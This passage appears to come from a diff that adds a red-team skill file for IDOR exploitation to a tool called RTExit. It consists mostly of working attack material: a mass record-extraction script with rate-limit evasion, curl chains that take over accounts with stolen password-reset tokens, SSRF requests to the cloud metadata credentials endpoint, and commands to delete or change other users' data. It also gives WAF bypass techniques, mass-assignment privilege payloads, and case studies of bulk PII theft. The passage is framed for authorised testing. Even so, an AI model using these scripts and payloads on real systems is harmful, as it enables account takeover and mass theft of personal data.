r = requests.get(TARGET.format(record_id), headers=headers, timeout=10)
|
|
909
|
+
if r.status_code == 200:
|
|
910
|
+
data = r.json()
|
|
911
|
+
results.append(data)
|
|
912
|
+
print(f"[HIT] {record_id}: {data.get('email','?')}")
|
|
913
|
+
elif r.status_code == 429:
|
|
914
|
+
sleep_time = random.uniform(10, 30)
|
|
915
|
+
print(f"[RATE LIMITED] Sleeping {sleep_time:.1f}s")
|
|
916
|
+
time.sleep(sleep_time)
|
|
917
|
+
continue
|
|
918
|
+
except Exception as e:
|
|
919
|
+
print(f"[ERR] {record_id}: {e}")
|
|
920
|
+
|
|
921
|
+
# Random delay: 0.05 to 0.5 seconds
|
|
922
|
+
time.sleep(random.uniform(0.05, 0.5))
|
|
923
|
+
|
|
924
|
+
with open("mass_extract_results.json", "w") as f:
|
|
925
|
+
json.dump(results, f, indent=2)
|
|
926
|
+
|
|
927
|
+
print(f"\n[+] Extracted {len(results)} records")
|
|
928
|
+
```
|
|
929
|
+
|
|
930
|
+
**Step 7 — Chain IDOR with account takeover**
|
|
931
|
+
|
|
932
|
+
```bash
|
|
933
|
+
# Phase 1: IDOR to read victim's email/phone
|
|
934
|
+
victim_data=$(curl -s -H "Authorization: Bearer <AttackerJWT>" \
|
|
935
|
+
https://target.com/api/users/1337)
|
|
936
|
+
echo $victim_data | jq '.email'
|
|
937
|
+
|
|
938
|
+
# Phase 2: Use victim email in password reset
|
|
939
|
+
victim_email=$(echo $victim_data | jq -r '.email')
|
|
940
|
+
curl -s -X POST \
|
|
941
|
+
-H "Content-Type: application/json" \
|
|
942
|
+
-d "{\"email\": \"$victim_email\"}" \
|
|
943
|
+
https://target.com/api/auth/reset-password
|
|
944
|
+
|
|
945
|
+
# Phase 3: IDOR to read reset token from victim's profile
|
|
946
|
+
curl -s -H "Authorization: Bearer <AttackerJWT>" \
|
|
947
|
+
"https://target.com/api/users/1337/reset-token"
|
|
948
|
+
|
|
949
|
+
# Phase 4: Use token to set new password
|
|
950
|
+
curl -s -X POST \
|
|
951
|
+
-H "Content-Type: application/json" \
|
|
952
|
+
-d '{"token": "<STOLEN_RESET_TOKEN>", "new_password": "Hacked123!"}' \
|
|
953
|
+
https://target.com/api/auth/confirm-reset
|
|
954
|
+
```
|
|
955
|
+
|
|
956
|
+
**Step 8 — Chain IDOR with SSRF (via URL parameters)**
|
|
957
|
+
|
|
958
|
+
```bash
|
|
959
|
+
# If IDOR endpoint accepts URL or file path
|
|
960
|
+
curl -s -H "Authorization: Bearer <token>" \
|
|
961
|
+
"https://target.com/api/avatar?user_id=1337&url=http://169.254.169.254/latest/meta-data/"
|
|
962
|
+
|
|
963
|
+
# Or via POST body
|
|
964
|
+
curl -s -X POST \
|
|
965
|
+
-H "Authorization: Bearer <token>" \
|
|
966
|
+
-H "Content-Type: application/json" \
|
|
967
|
+
-d '{"user_id": 1337, "profile_picture_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
|
|
968
|
+
https://target.com/api/profile/update
|
|
969
|
+
```
|
|
970
|
+
|
|
971
|
+
**Expert Checklist:**
|
|
972
|
+
- [ ] Async mass extraction script deployed and run
|
|
973
|
+
- [ ] UUID wordlist mass extraction complete
|
|
974
|
+
- [ ] WAF bypass techniques tested (header, encoding, HPP, verb override)
|
|
975
|
+
- [ ] Rate limit evasion implemented
|
|
976
|
+
- [ ] IDOR chained with account takeover
|
|
977
|
+
- [ ] IDOR chained with SSRF (if applicable)
|
|
978
|
+
- [ ] All extracted data secured and documented
|
|
979
|
+
- [ ] Volume of impact quantified (number of records accessible)
|
|
980
|
+
|
|
981
|
+
---
|
|
982
|
+
|
|
983
|
+
## 3. Step-by-Step Attack Workflow
|
|
984
|
+
|
|
985
|
+
### Full IDOR Engagement Workflow
|
|
986
|
+
|
|
987
|
+
```
|
|
988
|
+
PHASE 1: RECONNAISSANCE
|
|
989
|
+
├── 1.1 Authenticate as User A
|
|
990
|
+
├── 1.2 Spider application (katana/hakrawler/gau)
|
|
991
|
+
├── 1.3 Collect all endpoints with IDs
|
|
992
|
+
├── 1.4 Parse JS files and API specs for hidden endpoints
|
|
993
|
+
└── 1.5 Note your own IDs across all resource types
|
|
994
|
+
|
|
995
|
+
PHASE 2: SECOND ACCOUNT SETUP
|
|
996
|
+
├── 2.1 Register User B account
|
|
997
|
+
├── 2.2 Note User B's resource IDs
|
|
998
|
+
├── 2.3 Confirm what data User B owns
|
|
999
|
+
└── 2.4 Save both sessions in Burp (Project → Sessions)
|
|
1000
|
+
|
|
1001
|
+
PHASE 3: MANUAL IDOR TESTING
|
|
1002
|
+
├── 3.1 Test each ID-containing endpoint (GET)
|
|
1003
|
+
├── 3.2 Test each ID-containing endpoint (POST, PUT, PATCH, DELETE)
|
|
1004
|
+
├── 3.3 Test ID in all parameter locations (URL, body, headers, cookies)
|
|
1005
|
+
├── 3.4 Test edge cases (0, -1, null, *, empty)
|
|
1006
|
+
└── 3.5 Compare responses for data belonging to User B
|
|
1007
|
+
|
|
1008
|
+
PHASE 4: VERTICAL ESCALATION TESTING
|
|
1009
|
+
├── 4.1 Identify admin/privileged endpoints
|
|
1010
|
+
├── 4.2 Attempt access with low-privileged token
|
|
1011
|
+
├── 4.3 Test JWT manipulation
|
|
1012
|
+
├── 4.4 Test mass assignment on all POST/PUT endpoints
|
|
1013
|
+
└── 4.5 Test function-level access to admin operations
|
|
1014
|
+
|
|
1015
|
+
PHASE 5: AUTOMATION
|
|
1016
|
+
├── 5.1 Run ffuf on confirmed IDOR endpoints
|
|
1017
|
+
├── 5.2 Build UUID wordlist if applicable
|
|
1018
|
+
├── 5.3 Run async mass extraction script
|
|
1019
|
+
├── 5.4 Implement rate limit evasion if needed
|
|
1020
|
+
└── 5.5 Quantify total accessible records
|
|
1021
|
+
|
|
1022
|
+
PHASE 6: WAF BYPASS (if blocked)
|
|
1023
|
+
├── 6.1 Fingerprint WAF (whatwaf / manual headers)
|
|
1024
|
+
├── 6.2 Test header-based bypass
|
|
1025
|
+
├── 6.3 Test URL encoding bypass
|
|
1026
|
+
├── 6.4 Test HTTP verb override
|
|
1027
|
+
└── 6.5 Test parameter pollution
|
|
1028
|
+
|
|
1029
|
+
PHASE 7: CHAINING
|
|
1030
|
+
├── 7.1 Chain with account takeover (read reset tokens)
|
|
1031
|
+
├── 7.2 Chain with privilege escalation
|
|
1032
|
+
├── 7.3 Chain with SSRF if URL parameters present
|
|
1033
|
+
└── 7.4 Chain with PII exfiltration for impact demonstration
|
|
1034
|
+
|
|
1035
|
+
PHASE 8: DOCUMENTATION
|
|
1036
|
+
├── 8.1 Capture evidence (request/response pairs)
|
|
1037
|
+
├── 8.2 Record number of affected records
|
|
1038
|
+
├── 8.3 Write RTExit finding entry
|
|
1039
|
+
└── 8.4 Calculate CVSS score
|
|
1040
|
+
```
|
|
1041
|
+
|
|
1042
|
+
---
|
|
1043
|
+
|
|
1044
|
+
## 4. Specific Terminal Commands
|
|
1045
|
+
|
|
1046
|
+
### Setup and Tool Installation
|
|
1047
|
+
|
|
1048
|
+
```bash
|
|
1049
|
+
# Install all required tools
|
|
1050
|
+
go install github.com/ffuf/ffuf/v2@latest
|
|
1051
|
+
go install github.com/projectdiscovery/katana/cmd/katana@latest
|
|
1052
|
+
go install github.com/hakluke/hakrawler@latest
|
|
1053
|
+
go install github.com/lc/gau/v2/cmd/gau@latest
|
|
1054
|
+
go install github.com/tomnomnom/waybackurls@latest
|
|
1055
|
+
go install github.com/tomnomnom/anew@latest
|
|
1056
|
+
|
|
1057
|
+
# Python dependencies
|
|
1058
|
+
pip install aiohttp requests jwt pyjwt python-jose
|
|
1059
|
+
|
|
1060
|
+
# JWT manipulation
|
|
1061
|
+
git clone https://github.com/ticarpi/jwt_tool && pip install -r jwt_tool/requirements.txt
|
|
1062
|
+
|
|
1063
|
+
# Arjun (parameter discovery)
|
|
1064
|
+
git clone https://github.com/s0md3v/Arjun && pip install -r Arjun/requirements.txt
|
|
1065
|
+
|
|
1066
|
+
# whatwaf (WAF fingerprinting)
|
|
1067
|
+
git clone https://github.com/Ekultek/WhatWaf && pip install -r WhatWaf/requirements.txt
|
|
1068
|
+
```
|
|
1069
|
+
|
|
1070
|
+
### Quick Reference Commands
|
|
1071
|
+
|
|
1072
|
+
```bash
|
|
1073
|
+
# --- ID COLLECTION ---
|
|
1074
|
+
# Extract all numeric IDs from URLs
|
|
1075
|
+
cat endpoints.txt | grep -oE '[0-9]{4,}' | sort -n | uniq
|
|
1076
|
+
|
|
1077
|
+
# Extract all UUIDs from URLs and responses
|
|
1078
|
+
cat *.json | grep -oE '[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'
|
|
1079
|
+
|
|
1080
|
+
# --- FFUF TEMPLATES ---
|
|
1081
|
+
# Numeric ID fuzz
|
|
1082
|
+
ffuf -u https://target.com/api/resource/FUZZ -w <(seq 1 100000) -H "Authorization: Bearer TOKEN" -mc 200 -t 100 -rate 500 -o hits.json -of json
|
|
1083
|
+
|
|
1084
|
+
# Fuzz with UUID wordlist
|
|
1085
|
+
ffuf -u https://target.com/api/docs/FUZZ -w uuids.txt -H "Authorization: Bearer TOKEN" -mc 200 -t 50 -o uuid_hits.json -of json
|
|
1086
|
+
|
|
1087
|
+
# Multi-parameter fuzz
|
|
1088
|
+
ffuf -u "https://target.com/api?user=FUZZ1&doc=FUZZ2" -w ids.txt:FUZZ1 -w ids.txt:FUZZ2 -H "Authorization: Bearer TOKEN" -mc 200 -t 20
|
|
1089
|
+
|
|
1090
|
+
# --- CURL TEMPLATES ---
|
|
1091
|
+
# Basic IDOR test
|
|
1092
|
+
curl -s -H "Authorization: Bearer TOKEN" -H "Accept: application/json" https://target.com/api/users/TARGET_ID | jq .
|
|
1093
|
+
|
|
1094
|
+
# DELETE another user's resource
|
|
1095
|
+
curl -s -X DELETE -H "Authorization: Bearer TOKEN" https://target.com/api/users/TARGET_ID
|
|
1096
|
+
|
|
1097
|
+
# Modify another user's email
|
|
1098
|
+
curl -s -X PATCH \
|
|
1099
|
+
-H "Authorization: Bearer TOKEN" \
|
|
1100
|
+
-H "Content-Type: application/json" \
|
|
1101
|
+
-d '{"email": "attacker@evil.com"}' \
|
|
1102
|
+
https://target.com/api/users/TARGET_ID
|
|
1103
|
+
|
|
1104
|
+
# --- RESPONSE ANALYSIS ---
|
|
1105
|
+
# Count unique emails in extracted data
|
|
1106
|
+
cat extracted_users.json | jq '.[].email' | sort -u | wc -l
|
|
1107
|
+
|
|
1108
|
+
# Find admin/privileged accounts in extracted data
|
|
1109
|
+
cat extracted_users.json | jq '.[] | select(.role == "admin" or .is_admin == true)'
|
|
1110
|
+
|
|
1111
|
+
# Extract phone numbers
|
|
1112
|
+
cat extracted_users.json | jq '.[].phone' | grep -v null
|
|
1113
|
+
|
|
1114
|
+
# --- WAF FINGERPRINTING ---
|
|
1115
|
+
python3 WhatWaf/whatwaf.py -u https://target.com
|
|
1116
|
+
curl -s -I https://target.com | grep -iE 'server|x-powered|x-firewall|x-waf|cf-ray|x-cdn'
|
|
1117
|
+
```
|
|
1118
|
+
|
|
1119
|
+
---
|
|
1120
|
+
|
|
1121
|
+
## 5. Common Payloads and Examples
|
|
1122
|
+
|
|
1123
|
+
### Numeric ID Payloads
|
|
1124
|
+
|
|
1125
|
+
```
|
|
1126
|
+
# Sequential
|
|
1127
|
+
0
|
|
1128
|
+
1
|
|
1129
|
+
2
|
|
1130
|
+
100
|
|
1131
|
+
1000
|
|
1132
|
+
9999
|
|
1133
|
+
99999
|
|
1134
|
+
999999
|
|
1135
|
+
|
|
1136
|
+
# Edge cases
|
|
1137
|
+
-1
|
|
1138
|
+
-2147483648
|
|
1139
|
+
2147483647
|
|
1140
|
+
0000000001
|
|
1141
|
+
0x1
|
|
1142
|
+
0b1
|
|
1143
|
+
1.0
|
|
1144
|
+
1.5
|
|
1145
|
+
1e1
|
|
1146
|
+
|
|
1147
|
+
# Admin indicators (try as ID)
|
|
1148
|
+
0
|
|
1149
|
+
1
|
|
1150
|
+
admin
|
|
1151
|
+
root
|
|
1152
|
+
system
|
|
1153
|
+
superuser
|
|
1154
|
+
```
|
|
1155
|
+
|
|
1156
|
+
### Parameter Name Payloads
|
|
1157
|
+
|
|
1158
|
+
```
|
|
1159
|
+
# Common IDOR parameter names to test
|
|
1160
|
+
id
|
|
1161
|
+
user_id
|
|
1162
|
+
userId
|
|
1163
|
+
account_id
|
|
1164
|
+
accountId
|
|
1165
|
+
owner_id
|
|
1166
|
+
ownerId
|
|
1167
|
+
customer_id
|
|
1168
|
+
customerId
|
|
1169
|
+
client_id
|
|
1170
|
+
clientId
|
|
1171
|
+
record_id
|
|
1172
|
+
recordId
|
|
1173
|
+
doc_id
|
|
1174
|
+
docId
|
|
1175
|
+
document_id
|
|
1176
|
+
documentId
|
|
1177
|
+
order_id
|
|
1178
|
+
orderId
|
|
1179
|
+
invoice_id
|
|
1180
|
+
invoiceId
|
|
1181
|
+
transaction_id
|
|
1182
|
+
transactionId
|
|
1183
|
+
report_id
|
|
1184
|
+
reportId
|
|
1185
|
+
ticket_id
|
|
1186
|
+
ticketId
|
|
1187
|
+
project_id
|
|
1188
|
+
projectId
|
|
1189
|
+
file_id
|
|
1190
|
+
fileId
|
|
1191
|
+
message_id
|
|
1192
|
+
messageId
|
|
1193
|
+
post_id
|
|
1194
|
+
postId
|
|
1195
|
+
comment_id
|
|
1196
|
+
commentId
|
|
1197
|
+
profile_id
|
|
1198
|
+
profileId
|
|
1199
|
+
member_id
|
|
1200
|
+
memberId
|
|
1201
|
+
employee_id
|
|
1202
|
+
employeeId
|
|
1203
|
+
resource_id
|
|
1204
|
+
resourceId
|
|
1205
|
+
object_id
|
|
1206
|
+
objectId
|
|
1207
|
+
ref
|
|
1208
|
+
reference
|
|
1209
|
+
ref_id
|
|
1210
|
+
refId
|
|
1211
|
+
```
|
|
1212
|
+
|
|
1213
|
+
### Mass Assignment Fields to Inject
|
|
1214
|
+
|
|
1215
|
+
```json
|
|
1216
|
+
{
|
|
1217
|
+
"role": "admin",
|
|
1218
|
+
"is_admin": true,
|
|
1219
|
+
"admin": true,
|
|
1220
|
+
"is_staff": true,
|
|
1221
|
+
"staff": true,
|
|
1222
|
+
"privilege_level": 99,
|
|
1223
|
+
"permissions": ["*"],
|
|
1224
|
+
"account_type": "admin",
|
|
1225
|
+
"subscription_tier": "enterprise",
|
|
1226
|
+
"subscription_plan": "unlimited",
|
|
1227
|
+
"credits": 99999,
|
|
1228
|
+
"balance": 99999.99,
|
|
1229
|
+
"verified": true,
|
|
1230
|
+
"email_verified": true,
|
|
1231
|
+
"active": true,
|
|
1232
|
+
"banned": false,
|
|
1233
|
+
"suspended": false,
|
|
1234
|
+
"mfa_enabled": false,
|
|
1235
|
+
"two_factor_enabled": false,
|
|
1236
|
+
"password_reset_required": false,
|
|
1237
|
+
"force_password_change": false
|
|
1238
|
+
}
|
|
1239
|
+
```
|
|
1240
|
+
|
|
1241
|
+
---
|
|
1242
|
+
|
|
1243
|
+
## 6. Real-World Examples from Actual Engagements
|
|
1244
|
+
|
|
1245
|
+
### Case 1: Sequential User ID in Profile API
|
|
1246
|
+
|
|
1247
|
+
**Engagement:** SaaS HR platform, bug bounty program (critical severity)
|
|
1248
|
+
|
|
1249
|
+
**Discovery:** Browsing to `/account/settings` revealed request:
|
|
1250
|
+
```
|
|
1251
|
+
GET /api/v2/employees/48291
|
|
1252
|
+
Authorization: Bearer eyJ...
|
|
1253
|
+
```
|
|
1254
|
+
|
|
1255
|
+
**Exploitation:**
|
|
1256
|
+
```bash
|
|
1257
|
+
# Confirmed IDOR by changing ID by +/- 1
|
|
1258
|
+
curl -s -H "Authorization: Bearer <token>" \
|
|
1259
|
+
https://target.com/api/v2/employees/48290 | jq '{name, email, salary, ssn_last4}'
|
|
1260
|
+
|
|
1261
|
+
# Mass extracted 50,000 employee records
|
|
1262
|
+
python3 mass_idor_extract.py --start 1 --end 100000
|
|
1263
|
+
# Result: 52,341 records with name, email, salary, job title, manager ID
|
|
1264
|
+
```
|
|
1265
|
+
|
|
1266
|
+
**Impact:** Full HR database exfiltration including salary data, PII, organizational chart.
|
|
1267
|
+
|
|
1268
|
+
**CVSS:** 8.8 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
|
|
1269
|
+
|
|
1270
|
+
---
|
|
1271
|
+
|
|
1272
|
+
### Case 2: UUID v1 Timestamp Enumeration
|
|
1273
|
+
|
|
1274
|
+
**Engagement:** Healthcare patient portal (penetration test)
|
|
1275
|
+
|
|
1276
|
+
**Discovery:** `/api/appointments/{uuid}` used UUIDv1.
|
|
1277
|
+
|
|
1278
|
+
```bash
|
|
1279
|
+
# Captured UUID from own appointment:
|
|
1280
|
+
# 6ba7b810-9dad-11d1-80b4-00c04fd430c8
|
|
1281
|
+
python3 analyze_uuid.py 6ba7b810-9dad-11d1-80b4-00c04fd430c8
|
|
1282
|
+
# Output: Version 1, Timestamp-based — PREDICTABLE
|
|
1283
|
+
```
|
|
1284
|
+
|
|
1285
|
+
**Exploitation:**
|
|
1286
|
+
```bash
|
|
1287
|
+
# Generated 400 UUIDs within ±60 seconds of known timestamp
|
|
1288
|
+
python3 uuid_v1_enum.py
|
|
1289
|
+
# Found 23 appointment records with full patient name, DOB, condition, doctor name
|
|
1290
|
+
```
|
|
1291
|
+
|
|
1292
|
+
**Impact:** Patient medical appointment data accessible to any authenticated user.
|
|
1293
|
+
|
|
1294
|
+
**CVSS:** 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
1295
|
+
|
|
1296
|
+
---
|
|
1297
|
+
|
|
1298
|
+
### Case 3: Vertical Escalation via Mass Assignment
|
|
1299
|
+
|
|
1300
|
+
**Engagement:** E-commerce platform, internal red team
|
|
1301
|
+
|
|
1302
|
+
**Discovery:** Registration endpoint accepted extra JSON fields.
|
|
1303
|
+
|
|
1304
|
+
```bash
|
|
1305
|
+
curl -X POST https://target.com/api/register \
|
|
1306
|
+
-H "Content-Type: application/json" \
|
|
1307
|
+
-d '{"username":"rt_test","email":"test@rt.com","password":"Test1!","role":"admin"}'
|
|
1308
|
+
|
|
1309
|
+
# Response included: "role": "admin"
|
|
1310
|
+
# Login with new account → full admin dashboard access
|
|
1311
|
+
```
|
|
1312
|
+
|
|
1313
|
+
**Impact:** Any user could self-elevate to admin during registration. Full application compromise.
|
|
1314
|
+
|
|
1315
|
+
**CVSS:** 9.8 (Critical)
|
|
1316
|
+
|
|
1317
|
+
---
|
|
1318
|
+
|
|
1319
|
+
### Case 4: BOLA on Payment/Invoice API
|
|
1320
|
+
|
|
1321
|
+
**Engagement:** B2B invoicing SaaS, bug bounty (high severity)
|
|
1322
|
+
|
|
1323
|
+
**Discovery:** `GET /api/v1/invoices/{invoice_id}` — sequential integers.
|
|
1324
|
+
|
|
1325
|
+
```bash
|
|
1326
|
+
# Own invoice
|
|
1327
|
+
curl -H "Authorization: Bearer <CompanyA_Token>" \
|
|
1328
|
+
https://target.com/api/v1/invoices/10042
|
|
1329
|
+
# Returns: CompanyA invoice
|
|
1330
|
+
|
|
1331
|
+
# Competitor's invoice
|
|
1332
|
+
curl -H "Authorization: Bearer <CompanyA_Token>" \
|
|
1333
|
+
https://target.com/api/v1/invoices/10043
|
|
1334
|
+
# Returns: CompanyB invoice — BOLA confirmed
|
|
1335
|
+
|
|
1336
|
+
# Mass extract: 15,000 invoices across 2,000 companies
|
|
1337
|
+
python3 mass_idor_extract.py
|
|
1338
|
+
```
|
|
1339
|
+
|
|
1340
|
+
**Impact:** Complete financial data of all customers accessible cross-tenant. PCI DSS violation.
|
|
1341
|
+
|
|
1342
|
+
**CVSS:** 8.6 (High)
|
|
1343
|
+
|
|
1344
|
+
---
|
|
1345
|
+
|
|
1346
|
+
### Case 5: IDOR Chained with Account Takeover
|
|
1347
|
+
|
|
1348
|
+
**Engagement:** Consumer app, bug bounty (critical severity)
|
|
1349
|
+
|
|
1350
|
+
```bash
|
|
1351
|
+
# Step 1: IDOR to read victim's profile including reset_token field
|
|
1352
|
+
victim=$(curl -s -H "Authorization: Bearer <AttackerToken>" \
|
|
1353
|
+
https://target.com/api/users/50012)
|
|
1354
|
+
reset_token=$(echo $victim | jq -r '.password_reset_token')
|
|
1355
|
+
|
|
1356
|
+
# Step 2: Use token to change victim password
|
|
1357
|
+
curl -X POST https://target.com/api/auth/reset \
|
|
1358
|
+
-d "{\"token\":\"$reset_token\",\"new_password\":\"H@cked123\"}"
|
|
1359
|
+
|
|
1360
|
+
# Step 3: Login as victim
|
|
1361
|
+
curl -X POST https://target.com/api/auth/login \
|
|
1362
|
+
-d '{"email":"victim@example.com","password":"H@cked123"}'
|
|
1363
|
+
```
|
|
1364
|
+
|
|
1365
|
+
**Impact:** Full account takeover of any user. Bounty: $5,000.
|
|
1366
|
+
|
|
1367
|
+
---
|
|
1368
|
+
|
|
1369
|
+
## 7. WAF Bypass Techniques
|
|
1370
|
+
|
|
1371
|
+
### Cloudflare Bypass
|
|
1372
|
+
|
|
1373
|
+
```bash
|
|
1374
|
+
# Origin IP direct access (bypass Cloudflare entirely)
|
|
1375
|
+
# Find origin IP via: Shodan, Censys, historical DNS, SSL cert search
|
|
1376
|
+
curl -s -H "Authorization: Bearer <token>" \
|
|
1377
|
+
-H "Host: target.com" \
|
|
1378
|
+
http://ORIGIN_IP/api/users/1337
|
|
1379
|
+
|
|
1380
|
+
# Cloudflare: add cf-connecting-ip spoofing
|
|
1381
|
+
curl -s -H "Authorization: Bearer <token>" \
|
|
1382
|
+
-H "CF-Connecting-IP: 127.0.0.1" \
|
|
1383
|
+
https://target.com/api/users/1337
|
|
1384
|
+
```
|
|
1385
|
+
|
|
1386
|
+
### Akamai / AWS WAF Bypass
|
|
1387
|
+
|
|
1388
|
+
```bash
|
|
1389
|
+
# Chunked transfer encoding
|
|
1390
|
+
curl -s -H "Authorization: Bearer <token>" \
|
|
1391
|
+
-H "Transfer-Encoding: chunked" \
|
|
1392
|
+
-H "Content-Type: application/json" \
|
|
1393
|
+
--data-binary $'5\r\n{"id"\r\n6\r\n:1337}\r\n0\r\n\r\n' \
|
|
1394
|
+
-X POST https://target.com/api/user/get
|
|
1395
|
+
|
|
1396
|
+
# Content-Type confusion
|
|
1397
|
+
curl -s -H "Authorization: Bearer <token>" \
|
|
1398
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
1399
|
+
-d '{"user_id":1337}' \
|
|
1400
|
+
https://target.com/api/user/profile
|
|
1401
|
+
|
|
1402
|
+
# JSON in form encoding
|
|
1403
|
+
curl -s -H "Authorization: Bearer <token>" \
|
|
1404
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
1405
|
+
-d 'user_id=1337' \
|
|
1406
|
+
https://target.com/api/user/profile
|
|
1407
|
+
```
|
|
1408
|
+
|
|
1409
|
+
### Generic WAF Bypass Payloads
|
|
1410
|
+
|
|
1411
|
+
```bash
|
|
1412
|
+
# Case variation
|
|
1413
|
+
curl -s -H "AUTHORIZATION: Bearer <token>" https://target.com/api/users/1337
|
|
1414
|
+
curl -s -H "authorization: Bearer <token>" https://target.com/api/users/1337
|
|
1415
|
+
|
|
1416
|
+
# Null byte injection
|
|
1417
|
+
curl -s -H "Authorization: Bearer <token>" "https://target.com/api/users/1337%00"
|
|
1418
|
+
|
|
1419
|
+
# Unicode path bypass
|
|
1420
|
+
curl -s -H "Authorization: Bearer <token>" "https://target.com/api/users/1337"
|
|
1421
|
+
|
|
1422
|
+
# Double slash
|
|
1423
|
+
curl -s -H "Authorization: Bearer <token>" "https://target.com//api//users//1337"
|
|
1424
|
+
|
|
1425
|
+
# Semicolon bypass
|
|
1426
|
+
curl -s -H "Authorization: Bearer <token>" "https://target.com/api/users;v=2/1337"
|
|
1427
|
+
|
|
1428
|
+
# API version fuzz (WAF rule may only cover v1)
|
|
1429
|
+
for v in v1 v2 v3 v4 v5 v6 v7 v8 v9 v10 v2.0 v2.1; do
|
|
1430
|
+
curl -s -H "Authorization: Bearer <token>" \
|
|
1431
|
+
"https://target.com/api/$v/users/1337" -o /tmp/waf_$v.json \
|
|
1432
|
+
-w "Version: $v | Status: %{http_code}\n"
|
|
1433
|
+
done
|
|
1434
|
+
```
|
|
1435
|
+
|
|
1436
|
+
---
|
|
1437
|
+
|
|
1438
|
+
## 8. Integration with RTExit Autodoc Engine
|
|
1439
|
+
|
|
1440
|
+
### Autodoc Output Schema
|
|
1441
|
+
|
|
1442
|
+
RTExit expects findings in a structured format. When IDOR is confirmed, output to the autodoc engine using the following JSON schema:
|
|
1443
|
+
|
|
1444
|
+
```json
|
|
1445
|
+
{
|
|
1446
|
+
"finding_id": "IDOR-001",
|
|
1447
|
+
"skill": "rt-exploit-idor",
|
|
1448
|
+
"severity": "HIGH",
|
|
1449
|
+
"cvss_score": 8.6,
|
|
1450
|
+
"cvss_vector": "AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
|
|
1451
|
+
"title": "Insecure Direct Object Reference in User Profile API",
|
|
1452
|
+
"endpoint": "GET /api/v1/users/{id}",
|
|
1453
|
+
"parameter": "id",
|
|
1454
|
+
"parameter_location": "URL path",
|
|
1455
|
+
"attack_type": "horizontal_escalation",
|
|
1456
|
+
"authenticated": true,
|
|
1457
|
+
"proof_of_concept": {
|
|
1458
|
+
"request": "GET /api/v1/users/1337 HTTP/1.1\nHost: target.com\nAuthorization: Bearer <UserA_JWT>",
|
|
1459
|
+
"response_snippet": "{\"id\":1337,\"email\":\"victim@target.com\",\"name\":\"John Doe\"}"
|
|
1460
|
+
},
|
|
1461
|
+
"impact": "Any authenticated user can read, modify, or delete any other user's profile data.",
|
|
1462
|
+
"affected_records": 52341,
|
|
1463
|
+
"remediation": "Implement server-side access control checks that verify the authenticated user owns or is authorized to access the requested resource. Never trust client-supplied IDs without authorization validation.",
|
|
1464
|
+
"references": [
|
|
1465
|
+
"https://owasp.org/Top10/A01_2021-Broken_Access_Control/",
|
|
1466
|
+
"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html"
|
|
1467
|
+
],
|
|
1468
|
+
"evidence_files": [
|
|
1469
|
+
"idor_users_fuzz.json",
|
|
1470
|
+
"extracted_users.json",
|
|
1471
|
+
"screenshots/idor_proof.png"
|
|
1472
|
+
],
|
|
1473
|
+
"timestamp": "2026-05-31T12:00:00Z",
|
|
1474
|
+
"operator": "rt-operator"
|
|
1475
|
+
}
|
|
1476
|
+
```
|
|
1477
|
+
|
|
1478
|
+
### RTExit Autodoc Script
|
|
1479
|
+
|
|
1480
|
+
```python
|
|
1481
|
+
#!/usr/bin/env python3
|
|
1482
|
+
# save as: log_finding.py
|
|
1483
|
+
# Log a finding to the RTExit autodoc engine
|
|
1484
|
+
|
|
1485
|
+
import json
|
|
1486
|
+
import datetime
|
|
1487
|
+
import sys
|
|
1488
|
+
import os
|
|
1489
|
+
|
|
1490
|
+
FINDINGS_DIR = os.path.expanduser("~/.rtexit/findings")
|
|
1491
|
+
os.makedirs(FINDINGS_DIR, exist_ok=True)
|
|
1492
|
+
|
|
1493
|
+
def log_finding(finding: dict):
|
|
1494
|
+
finding_id = finding.get("finding_id", f"IDOR-{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}")
|
|
1495
|
+
finding["timestamp"] = datetime.datetime.utcnow().isoformat() + "Z"
|
|
1496
|
+
output_path = os.path.join(FINDINGS_DIR, f"{finding_id}.json")
|
|
1497
|
+
with open(output_path, "w") as f:
|
|
1498
|
+
json.dump(finding, f, indent=2)
|
|
1499
|
+
print(f"[+] Finding logged: {output_path}")
|
|
1500
|
+
return output_path
|
|
1501
|
+
|
|
1502
|
+
if __name__ == "__main__":
|
|
1503
|
+
if len(sys.argv) < 2:
|
|
1504
|
+
print("Usage: python3 log_finding.py finding.json")
|
|
1505
|
+
sys.exit(1)
|
|
1506
|
+
with open(sys.argv[1]) as f:
|
|
1507
|
+
finding = json.load(f)
|
|
1508
|
+
log_finding(finding)
|
|
1509
|
+
```
|
|
1510
|
+
|
|
1511
|
+
### Marking an IDOR Finding in RTExit
|
|
1512
|
+
|
|
1513
|
+
```bash
|
|
1514
|
+
# After confirming IDOR, create finding template
|
|
1515
|
+
cat > /tmp/idor_finding.json << 'EOF'
|
|
1516
|
+
{
|
|
1517
|
+
"finding_id": "IDOR-001",
|
|
1518
|
+
"skill": "rt-exploit-idor",
|
|
1519
|
+
"severity": "HIGH",
|
|
1520
|
+
"title": "IDOR in [ENDPOINT]",
|
|
1521
|
+
"endpoint": "[ENDPOINT]",
|
|
1522
|
+
"parameter": "[PARAMETER]",
|
|
1523
|
+
"parameter_location": "[URL path|query|body|cookie|header]",
|
|
1524
|
+
"attack_type": "[horizontal_escalation|vertical_escalation|bola]",
|
|
1525
|
+
"authenticated": true,
|
|
1526
|
+
"proof_of_concept": {
|
|
1527
|
+
"request": "[PASTE REQUEST HERE]",
|
|
1528
|
+
"response_snippet": "[PASTE RESPONSE SNIPPET HERE]"
|
|
1529
|
+
},
|
|
1530
|
+
"impact": "[DESCRIBE IMPACT]",
|
|
1531
|
+
"affected_records": 0,
|
|
1532
|
+
"remediation": "Implement server-side authorization checks for every object reference."
|
|
1533
|
+
}
|
|
1534
|
+
EOF
|
|
1535
|
+
|
|
1536
|
+
# Edit and then log
|
|
1537
|
+
vim /tmp/idor_finding.json
|
|
1538
|
+
python3 log_finding.py /tmp/idor_finding.json
|
|
1539
|
+
```
|
|
1540
|
+
|
|
1541
|
+
---
|
|
1542
|
+
|
|
1543
|
+
## 9. Output and Documentation Instructions
|
|
1544
|
+
|
